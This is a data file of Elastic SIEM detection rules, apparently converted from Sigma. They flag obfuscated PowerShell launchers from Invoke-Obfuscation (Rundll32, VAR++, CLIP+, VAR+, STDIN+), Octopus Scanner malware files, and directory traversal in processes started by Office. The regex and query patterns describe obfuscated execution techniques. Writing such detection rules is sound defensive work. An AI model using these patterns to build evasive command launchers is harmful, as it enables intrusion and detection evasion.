{"description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d0568fd5-628b-236e-8ca9-7d5a45a56161", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use Rundll32", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:*\\&&* AND winlog.event_data.ImagePath:*rundll32* AND winlog.event_data.ImagePath:*shell32.dll* AND winlog.event_data.ImagePath:*shellexec_rundll* AND winlog.event_data.ImagePath:(*value* OR *invoke* OR *comspec* OR *iex*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d0568fd5-628b-236e-8ca9-7d5a45a56161", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation Via Use Rundll32", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:*\\&&* AND winlog.event_data.ServiceFileName:*rundll32* AND winlog.event_data.ServiceFileName:*shell32.dll* AND winlog.event_data.ServiceFileName:*shellexec_rundll* AND winlog.event_data.ServiceFileName:(*value* OR *invoke* OR *comspec* OR *iex*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6194f9bd-dd87-5476-decb-4c4b2a2d02e0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", "query": "(powershell.command.invocation_details:/(?i).*&&set.*(\\{\\d\\}){2,}\\\\\\\"\\s+?\\-f.*&&.*cmd.*\\/c/ OR winlog.event_data.Payload:/(?i).*&&set.*(\\{\\d\\}){2,}\\\\\\\"\\s+?\\-f.*&&.*cmd.*\\/c/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6194f9bd-dd87-5476-decb-4c4b2a2d02e0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", "query": "powershell.file.script_block_text:/(?i).*&&set.*(\\{\\d\\}){2,}\\\\\\\"\\s+?\\-f.*&&.*cmd.*\\/c/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6194f9bd-dd87-5476-decb-4c4b2a2d02e0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", "query": "process.command_line:/(?i).*&&set.*(\\{\\d\\}){2,}\\\\\\\"\\s+?\\-f.*&&.*cmd.*\\/c/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6194f9bd-dd87-5476-decb-4c4b2a2d02e0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:/(?i).*&&set.*(\\{\\d\\}){2,}\\\\\\\"\\s+?\\-f.*&&.*cmd.*\\/c/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6194f9bd-dd87-5476-decb-4c4b2a2d02e0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:/(?i).*&&set.*(\\{\\d\\}){2,}\\\\\\\"\\s+?\\-f.*&&.*cmd.*\\/c/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8599874-4bd5-c856-d6d4-ff5bab115724", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation CLIP+ Launcher", "query": "(powershell.command.invocation_details:/.*cmd.{0,5}(?:\\/c|\\/r).+clip(?:\\.exe)?.{0,4}&&.+clipboard]::\\(\\s\\\\\\\"\\{\\d\\}.+\\-f.+\\\"/ OR winlog.event_data.Payload:/.*cmd.{0,5}(?:\\/c|\\/r).+clip(?:\\.exe)?.{0,4}&&.+clipboard]::\\(\\s\\\\\\\"\\{\\d\\}.+\\-f.+\\\"/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8599874-4bd5-c856-d6d4-ff5bab115724", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation CLIP+ Launcher", "query": "powershell.file.script_block_text:/.*cmd.{0,5}(?:\\/c|\\/r).+clip(?:\\.exe)?.{0,4}&&.+clipboard]::\\(\\s\\\\\\\"\\{\\d\\}.+\\-f.+\\\"/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8599874-4bd5-c856-d6d4-ff5bab115724", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation CLIP+ Launcher", "query": "process.command_line:/.*cmd.{0,5}(?:\\/c|\\/r).+clip(?:\\.exe)?.{0,4}&&.+clipboard]::\\(\\s\\\\\\\"\\{\\d\\}.+\\-f.+\\\"/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8599874-4bd5-c856-d6d4-ff5bab115724", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation CLIP+ Launcher", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:*cmd* AND winlog.event_data.ImagePath:*clip* AND winlog.event_data.ImagePath:*clipboard\\]\\:\\:*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8599874-4bd5-c856-d6d4-ff5bab115724", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation CLIP+ Launcher", "query": "(winlog.channel:\"Security\" AND Provider_Name:\"Microsoft\\-Windows\\-Security\\-Auditing\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:*cmd* AND winlog.event_data.ServiceFileName:*\\&&* AND winlog.event_data.ServiceFileName:*clipboard\\]\\:\\:*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f19416f-6725-4bff-c694-98f01a8a5113", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation VAR+ Launcher", "query": "(powershell.command.invocation_details:/.*cmd.{0,5}(?:\\/c|\\/r)(?:\\s|)\\\"set\\s[a-zA-Z]{3,6}.*(?:\\{\\d\\}){1,}\\\\\\\"\\s+?\\-f(?:.*\\)){1,}.*\\\"/ OR winlog.event_data.Payload:/.*cmd.{0,5}(?:\\/c|\\/r)(?:\\s|)\\\"set\\s[a-zA-Z]{3,6}.*(?:\\{\\d\\}){1,}\\\\\\\"\\s+?\\-f(?:.*\\)){1,}.*\\\"/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f19416f-6725-4bff-c694-98f01a8a5113", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation VAR+ Launcher", "query": "powershell.file.script_block_text:/.*cmd.{0,5}(?:\\/c|\\/r)(?:\\s|)\\\"set\\s[a-zA-Z]{3,6}.*(?:\\{\\d\\}){1,}\\\\\\\"\\s+?\\-f(?:.*\\)){1,}.*\\\"/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f19416f-6725-4bff-c694-98f01a8a5113", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation VAR+ Launcher", "query": "process.command_line:/.*cmd.{0,5}(?:\\/c|\\/r)(?:\\s|)\\\"set\\s[a-zA-Z]{3,6}.*(?:\\{\\d\\}){1,}\\\\\\\"\\s+?\\-f(?:.*\\)){1,}.*\\\"/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f19416f-6725-4bff-c694-98f01a8a5113", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation VAR+ Launcher", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:/.*cmd.{0,5}(?:\\/c|\\/r)(?:\\s|)\\\"set\\s[a-zA-Z]{3,6}.*(?:\\{\\d\\}){1,}\\\\\\\"\\s+?\\-f(?:.*\\)){1,}.*\\\"/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f19416f-6725-4bff-c694-98f01a8a5113", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation VAR+ Launcher", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:/.*cmd.{0,5}(?:\\/c|\\/r)(?:\\s|)\\\"set\\s[a-zA-Z]{3,6}.*(?:\\{\\d\\}){1,}\\\\\\\"\\s+?\\-f(?:.*\\)){1,}.*\\\"/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of stdin to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cc2979d5-60bc-5eba-13aa-451b1d2249bc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation STDIN+ Launcher", "query": "(powershell.command.invocation_details:/.*cmd.{0,5}(?:\\/c|\\/r).+powershell.+(?:\\$\\{?input\\}?|noexit).+\\\"/ OR winlog.event_data.Payload:/.*cmd.{0,5}(?:\\/c|\\/r).+powershell.+(?:\\$\\{?input\\}?|noexit).+\\\"/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of stdin to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cc2979d5-60bc-5eba-13aa-451b1d2249bc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation STDIN+ Launcher", "query": "powershell.file.script_block_text:/.*cmd.{0,5}(?:\\/c|\\/r).+powershell.+(?:\\$\\{?input\\}?|noexit).+\\\"/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of stdin to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cc2979d5-60bc-5eba-13aa-451b1d2249bc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation STDIN+ Launcher", "query": "process.command_line:/.*cmd.{0,5}(?:\\/c|\\/r).+powershell.+(?:\\$\\{?input\\}?|noexit).+\\\"/", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of stdin to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cc2979d5-60bc-5eba-13aa-451b1d2249bc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation STDIN+ Launcher", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:/.*cmd.{0,5}(?:\\/c|\\/r).+powershell.+(?:\\$\\{?input\\}?|noexit).+\\\"/)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated use of stdin to execute PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cc2979d5-60bc-5eba-13aa-451b1d2249bc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Invoke-Obfuscation STDIN+ Launcher", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:*cmd* AND winlog.event_data.ServiceFileName:*powershell* AND winlog.event_data.ServiceFileName:(*$\\{input\\}* OR *noexit*) AND winlog.event_data.ServiceFileName:(*\\ \\/c\\ * OR *\\ \\/r\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jonathan Cheong", "oscd.community"], "license": ""}
{"description": "Detects Octopus Scanner Malware.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1e9839d8-08e8-4567-7c07-b1a7c4f48bb3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Octopus Scanner Malware", "query": "file.path:(*\\\\AppData\\\\Local\\\\Microsoft\\\\Cache134.dat OR *\\\\AppData\\\\Local\\\\Microsoft\\\\ExplorerSync.db)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1195", "T1195"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["NVISO"], "license": ""}
{"description": "Detects Office Applications executing a Windows child process including directory traversal patterns", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bdd1f0f5-55ba-0b11-048a-7e4b7c440c64", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Office Directory Traversal CommandLine", "query": "(process.parent.executable:(*\\\\winword.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe OR *\\\\msaccess.exe OR *\\\\mspub.exe OR *\\\\eqnedt32.exe OR *\\\\visio.exe) AND process.executable:(*\\\\Windows\\\\System32\\\\* OR *\\\\Windows\\\\SysWOW64\\\\*) AND process.command_line:(\"..\\/..\\/..\\/..\" OR \"..\\\\..\\\\..\\\\..\" OR \"..\\/\\/..\\/\\/..\\/\\/..\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@SBousseaden (idea)", "Christian Burkard (rule)"], "license": ""}
